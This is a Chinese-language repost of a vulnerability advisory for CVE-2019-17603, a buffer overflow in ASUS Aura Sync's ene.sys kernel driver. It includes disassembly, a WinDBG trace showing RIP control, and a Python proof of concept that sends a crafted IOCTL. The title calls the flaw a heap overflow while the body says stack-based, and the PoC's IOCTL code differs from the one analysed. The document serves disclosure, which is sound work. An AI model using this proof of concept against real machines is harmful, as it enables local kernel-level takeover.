华硕Aura Sync内核堆溢出漏洞分析( CVE-2019-17603) | xxx华硕Aura Sync内核堆溢出漏洞分析( CVE-2019-17603) – xxx
菜单

华硕Aura Sync内核堆溢出漏洞分析( CVE-2019-17603)

六月 21, 2020 - 4hou

0x01:基本信息

 Advisory:               ASUS Aura Sync 1.07.71                          ene.sys Stack-Based Buffer Overflow  Advisory ID:            DH-ADV-2019-001  CVE ID:                 CVE-2019-17603  Revision:               1.1   Last Modified:          2019/10/14   Date Reported:          2019/09/08  Advisory Published:     2020/06/01  Affected Software:      Asus Aura Sync  Remotely Exploitable:   No  Locally Exploitable:    Yes   Vendor URL:             https://www.asus.com/

0x02:漏洞描述

ASUS Aura Sync版本1.07.71随附的内核驱动程序ene.sys在处理IOCTL请求的代码中包含一个漏洞,利用此漏洞可能导致:

· 本地拒绝服务攻击(由于内核崩溃而导致系统崩溃)

· 在内核级别本地执行任意代码(完整的系统权限控制)

可以通过发送特制的IOCTL请求来触发此问题,对于成功的攻击,不需要特殊的用户权限即可利用此漏洞。

0x03:漏洞分析

该IOCTL调用0x80102044,0x80102050和0x80102054在 ene.sys的内核驱动程序接受用户的输入,它不会得到验证。然后,可以用任意值填充不同的内核寄存器,可以利用它来控制内核执行流程并在内核级别执行任意代码。

逆向ene.sys(Windows 10 64位版本)IOCTL调用 0x80102050:

 [...]  .text:00000000000111AA             cmp     r11d, 80102050h  [...]  .text:000000000001132B             lea     rcx, [rsp+68h+Dst] ; Dst  .text:0000000000011330             mov     r8, rbx            ; Size <- [1]  .text:0000000000011333             mov     rdx, rbp           ; Src  <- [2]  .text:0000000000011336             call    memmove            ; CALL <- [3]  .text:000000000001133B             movzx   r11d, byte ptr [rsp+68h+Dst+6]  .text:0000000000011341             sub     r11d, 1  .text:0000000000011345             jz      short loc_1136D  [...]

[1]如定义的约定__fastcall所述,将用户控制的缓冲区大小复制到R8寄存器中,并将缓冲区[2]的内容复制到RDX中,而无需任何输入验证。

[3]中的memmove函数使用以下参数调用:

 memmove(RCX, RDX, R8);           |    |    |          dst   |    |               src  len

· RCX (dst):通过控制流定义

· RDX(src):指向用户控制的IOCTL输入数据/缓冲区

· R8 (len):取决于发送缓冲区

利用思路

如果攻击者能够发送大缓冲区(IOCTL 为48个字节0x80102050),则memmove()调用将导致可利用的内存损坏情况。

漏洞利用

步骤1:使用所支持的IOCTL之一ene.sys将可控制的缓冲区移至内核空间地址,并覆盖适当的寄存器并返回地址[4]。

步骤2:向易受攻击的IOCTL发送请求,存储在偏移量末尾的0x30地址将覆盖返回地址,并导致可利用的内存损坏情况(RIP被可控值覆盖)

可利用代码路径的示例:

 .text:0000000000011487             mov     ebx, [rdi+30h]  [...]  .text:00000000000114A1             lea     r11, [rsp+68h+var_8]  .text:00000000000114A6             mov     eax, ebx  .text:00000000000114A8             mov     rbx, [r11+10h]  .text:00000000000114AC             mov     rbp, [r11+20h]  .text:00000000000114B0             mov     rsi, [r11+28h]  .text:00000000000114B4             mov     rsp, r11  .text:00000000000114B7             pop     rdi  .text:00000000000114B8             retn                    ; Trigger <- [4]  [...]

在WinDBG中(执行漏洞利用之后):

 ene+0x14b8:  fffff801`198d14b8 c3              ret  t  00000000`deadbeef ??              ???  r  rax=00000000c000000d rbx=ffffa981e29b1e90 rcx=151b9b80a8c50000  rdx=0000000000000001 rsi=0000000000000001 rdi=4141414141414141  rip=00000000deadbeef rsp=fffffd030b8bf7a0 rbp=0000000000000002   r8=0000000000000008  r9=0000000000000065 r10=ffffa981df102e60  r11=fffffd030b8bf790 r12=0000000000000000 r13=0000000000000000  r14=ffffa981e5e80d60 r15=ffffa981e2f84920  iopl=0         nv up ei ng nz na po nc  cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b          efl=00040286  00000000`deadbeef ??              ???

[4]用户提供的缓冲区[2]用作memmove 参数,将覆盖相应的寄存器和堆栈地址。结果,堆栈顶部的最后一个地址保存了用户提供的缓冲区的地址[5]。

在此示例中,堆栈中用大写字母“ A”和0xdeadbeef (RIP)填充。拥有RIP寄存器控制权的攻击者可能会破坏整个系统,并在内核级别执行任意代码。

漏洞验证

先决条件- 调试器和Debuggee

· 步骤1:安装ASUS Aura sync版本V1.07.71(Debuggee);

· 步骤2:执行漏洞验证(PoC)(Debuggee);

· 步骤3:将断点设置为:ene+0x14b8(Debugger)

 !process 0 0 python.exe            <- PROCCESSID of the running process   ba e1 /p ${PROCCESSID} ene+0x14b8  g

· 步骤4:按Enter键(Debuggee);调试器在ene+0x14b8按“ t”时停止以执行下一条指令

· 步骤5:RIP被覆盖0xdeadbeef

0x04:漏洞验证(PoC)

 #!/usr/bin/python    from ctypes import *  import struct  import sys    kernel32 = windll.kernel32  ntdll = windll.ntdll  NULL = 0x00    def run():      handle = kernel32.CreateFileA("////.//EneIo", 0xC0000000, 0, None,                                    0x3, 0, None)      if not handle or handle == -1:          sys.exit("[-] Error getting device handle")        shellcode = struct.pack("<Q", 0xdeadbeef) # RIP == 0xdeadbeef      buf = "A" * 56 + shellcode        raw_input("Press Enter to Trigger Vuln")      driver = kernel32.DeviceIoControl(handle, 0x80102040, buf, len(buf),                                        NULL, NULL, 0, NULL)      if not driver or driver == -1:          sys.exit("[-] Error")    if __name__ == "__main__":      run()

0x05:受影响的产品

此漏洞影响以下产品:

· 华硕Aura Sync <= 1.07.71

该漏洞很可能还会影响使用“ ASUS Aura Sync” 内核驱动程序ene.sys的产品的先前版本和后续版本。

0x06:时间线

· 2019/09/08:首次通过电子邮件(security@asus.com)联络协商;

· 2019/09/12:华硕安全团队回应并要求更多信息;

· 2019/09/12:漏洞最初报告给ASUS Security团队;

· 2019/09/18:华硕安全团队确认该漏洞;

· 2019/10/13:通过MITRE 请求CVE ID; CVE-2019-17603

· 2019/10/15:发送了在Windows 10 x64上运行的更新的PoC ;

· 2020/01/10:收到确认已发布补丁程序的确认(v1.07.79);

0x07:参考资源

· [1]ASUS Aura Sync – https://www.asus.com/campaign/aura/us/download.html

· [2]Microsoft – x64 calling convention – https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51